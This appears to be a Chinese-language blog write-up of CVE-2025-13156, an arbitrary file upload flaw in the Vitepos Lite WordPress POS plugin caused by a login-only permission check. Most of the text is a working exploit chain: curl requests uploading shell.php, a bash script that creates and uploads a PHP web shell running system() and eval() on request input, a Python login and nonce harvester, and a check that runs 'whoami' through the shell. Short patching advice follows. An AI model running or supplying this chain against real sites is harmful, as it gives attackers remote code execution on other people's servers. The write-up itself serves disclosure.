CVE-2025-13156 - Vitepos WooCommerce 的销售(POS) 系统漏洞

CVE-2025-13156 - Vitepos 漏洞 -- WooCommerce 的销售点 (POS) 系统

受影响版本

产品:Vitepos -- WooCommerce 的销售点 (POS) 系统

版本:≤ v3.3.0

网址:https://wordpress.org/plugins/vitepos-lite/

CVE-2025-13156 --- 已认证(订阅者+)任意文件上传

受影响组件:网站服务器

攻击途径:在受影响网站的服务器上上传任意文件。

触发:这使得拥有订阅者级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上上传任意文件,从而实现远程代码执行。

复制代码
\  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \  
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \ 
-F 'category_name=evil' \  
-F 'category_parent=0' \  
-F 'category_description=PoC-shell' \  
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

核心问题

  1. 权限验证缺失 :REST端点仅检查is_user_logged_in(),未验证用户是否具有管理产品分类的权限

  2. 文件类型过滤不严:未对上传文件类型进行严格限制,允许上传PHP等可执行文件

影响:任何已认证用户(包括订阅者等低权限角色)都可以通过暴露的 Vitepos Lite REST 端点将任意文件上传到 wp-content/uploads/// 目录。在已启用 PHP 执行(或可通过上传配置文件重新启用)的服务器上,这会导致远程代码执行;即使执行被阻止,攻击者仍可通过上传的 HTML/SVG 文件托管恶意载荷或构造存储型 XSS 攻击。这实际上赋予了任何已登录用户任意文件写入权限。

该插件的 REST 路由位于 /wp-json/vitepos/v1/product/... 下,依赖于宽松的权限检查,实际上会接受任何已登录用户(is_user_logged_in()),而忽略调用者是否为 POS 用户或是否具有管理产品条款的权限。因此,低权限角色(例如,订阅者)也可以访问诸如 add-category/update-category 之类的端点。

公开POC内容

复制代码
curl -k \
  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
  -H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
  -H 'X-WP-Nonce: <your_nonce>' \
  -F 'category_name=evil' \
  -F 'category_parent=0' \
  -F 'category_description=PoC-shell' \
  -F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

完整漏洞利用POC

复制代码
#!/bin/bash

# CVE-2025-13156 漏洞利用脚本
# 针对 Vitepos Lite ≤ v3.3.0 的任意文件上传漏洞

TARGET="http://target-site.com"
COOKIE="wordpress_logged_in_hash=your_cookie_value"
NONCE="your_nonce_value"

# 创建恶意PHP文件
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
if(isset($_POST['code'])) {
    eval($_POST['code']);
}
echo "Vitepos Shell";
?>
EOF

# 通过add-category端点上传Web Shell
curl -k -X POST \
  "${TARGET}/wp-json/vitepos/v1/product/add-category" \
  -H "Cookie: ${COOKIE}" \
  -H "X-WP-Nonce: ${NONCE}" \
  -F "category_name=exploit" \
  -F "category_parent=0" \
  -F "category_description=Pwned" \
  -F "category_image=@/tmp/shell.php"

echo "检查上传结果: ${TARGET}/wp-content/uploads/vitepos/category/shell.php"

完整利用链路补充

步骤1:获取必要的认证信息

复制代码
import requests
import re

def get_wp_details(target_url):
    """获取WordPress nonce和cookie"""
    
    # 1. 登录获取cookie (需要有效凭证)
    session = requests.Session()
    login_data = {
        'log': 'subscriber_user',  # 订阅者账号
        'pwd': 'password',
        'wp-submit': 'Log In'
    }
    response = session.post(f"{target_url}/wp-login.php", data=login_data)
    
    # 2. 从页面中提取nonce
    response = session.get(f"{target_url}/wp-admin/")
    nonce_match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', response.text)
    nonce = nonce_match.group(1) if nonce_match else None
    
    return session.cookies, nonce

步骤3:验证利用成功

复制代码
def verify_exploit(target_url, cookies):
    """验证Web Shell是否成功上传并执行"""
    
    # 尝试访问上传的shell
    shell_url = f"{target_url}/wp-content/uploads/vitepos/category/shell.php"
    
    # 测试命令执行
    test_response = requests.get(
        f"{shell_url}?cmd=whoami",
        cookies=cookies,
        verify=False
    )
    
    if "www-data" in test_response.text or "root" in test_response.text:
        print("[+] 漏洞利用成功!获得RCE权限")
        return True
    else:
        print("[-] 漏洞利用可能失败")
        return False

修复建议

  1. 升级到安全版本:更新至 Vitepos v3.3.1 或更高版本

  2. 文件检查 :扫描wp-content/uploads/vitepos/category/目录中的可疑文件

  3. 访问日志监控:检查对可疑PHP文件的访问记录

相关推荐
HLC++12 小时前
Linux的进程间通信
android·linux·服务器
爱笑鱼16 小时前
Binder(二):AIDL 生成的 Proxy、Stub 和 Parcel 到底在做什么?
android
爱笑鱼16 小时前
Binder(一):一次方法调用,究竟怎样跨进程执行?
android
壮哥_icon17 小时前
【Android 系统开发】使用 BAT 脚本高效自动化管理 /system/priv-app/ 系统应用(安装与卸载)
android·运维·自动化
用户693717500138418 小时前
Claude Code终端日志Token占用实测:一个过滤器砍掉60%-90%
android·前端·后端
蝉蜕日记19 小时前
AccumuPDF高级版 v2.57 | 视图文转换PDF,合并分割压缩
android·智能手机·pdf·生活·软件需求
吐了啊取名字太难19 小时前
美颜系统AI修图本地跑并支持Mac、win、安卓、iOS不卡顿
android·人工智能·windows·数码相机·mac·ai编程
阿pin20 小时前
Android随笔-Retrofit
android·retrofit
想取一个与众不同的名字好难20 小时前
安卓自定义颜色选择器
android
我命由我1234521 小时前
Android 开发问题:java.lang.NoSuchMethodError:No virtual method readAllBytes()
android·java·java-ee·kotlin·android studio·android-studio·android runtime